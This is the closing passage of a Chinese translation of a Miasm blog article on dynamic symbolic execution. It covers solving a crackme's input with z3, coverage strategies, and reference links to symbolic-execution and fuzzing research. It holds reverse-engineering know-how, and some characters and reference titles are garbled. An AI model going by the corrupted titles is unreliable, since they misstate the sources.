我們可以用已得到的結(jié)果來(lái)檢查結(jié)果是否正確：

$ hexdump -C

00000000 4d 21 40 24 4d 4e 0e 87 b1 7d 0a 4e c6 30 e7 |M!@$MN...}.N.0.|

$ gcc d -o dse_crackme

$ ./dse_crackme

OK

最終我們得到了正確的結(jié)果。

在這里，代碼覆蓋率的策略已經(jīng)足夠了；但并不總是這樣。如果這一最簡(jiǎn)單的策略不夠好，那就使用更強(qiáng)力，當(dāng)然也更麻煩，的策略，比如說(shuō)分支和路徑覆蓋策略。要使用新的策略，只需要修改 DSEPathConstraint 的produce_solution 參數(shù)。

邊注：對(duì)于那些對(duì)內(nèi)部實(shí)現(xiàn)感興趣的人，你可能注意到了，CRC16是基于表實(shí)現(xiàn)的。最后，一些待求解的約束如下所示：

@16[table_offset + symbolic_element] == CST

我們可以用z3查找符號(hào)，解出這個(gè)約束，要做到這點(diǎn)，z3需要知道表的值。

為了達(dá)到這一目的，我們可以使用 Miasmexpr_range 工具來(lái)取得可到達(dá)的地址區(qū)間。如果區(qū)間不是太大的話，我們可以在內(nèi)存內(nèi)容中添加一個(gè)約束給z3（@16[table_offset + 2] == 0x1021等）。

因?yàn)榈刂肥怯梅?hào)保存的，所以這也是可以做到的。因?yàn)樾阅艿脑?，其它的一些框架沒(méi)有選擇這種方法.要在Miasm中模仿這一過(guò)程，尋址過(guò)程可以由它們的DSE.handle方法中的具體值來(lái)完成。

最后的想法

這篇文章對(duì)DSE能完成的工作做了一個(gè)大體的介紹。

Miasm的實(shí)現(xiàn)方式非常靈活；它可以滿足大部人的需要。此外，只需要幾行代碼，就可以將DSE添加到現(xiàn)有腳本中。事實(shí)證明它是一種強(qiáng)大的逆向工具。

相關(guān)資源

相關(guān)的腳本：

re

相關(guān)鏈接：

Unleashing MAYHEM on Binary Code

Manticore - Defcon 200

Angr - Defcon magic2000

Using Miasm to fuzz binaries with AFL (+ DSE)

Enhancing Symbolic Execution with Veritesting

Your Exploit is Mine: Automatic Shellcode - Transplant for Remote Exploits

Driller: Augmenting Fuzzing Through Selective - Symbolic Execution

原文鏈接：[翻譯]玩轉(zhuǎn)動(dòng)態(tài)符號(hào)執(zhí)行-『外文翻譯』-看雪安全論壇

本文由看雪翻譯小組 夢(mèng)野間 編譯，來(lái)源miasm's blog

轉(zhuǎn)載請(qǐng)注明來(lái)自看雪社區(qū)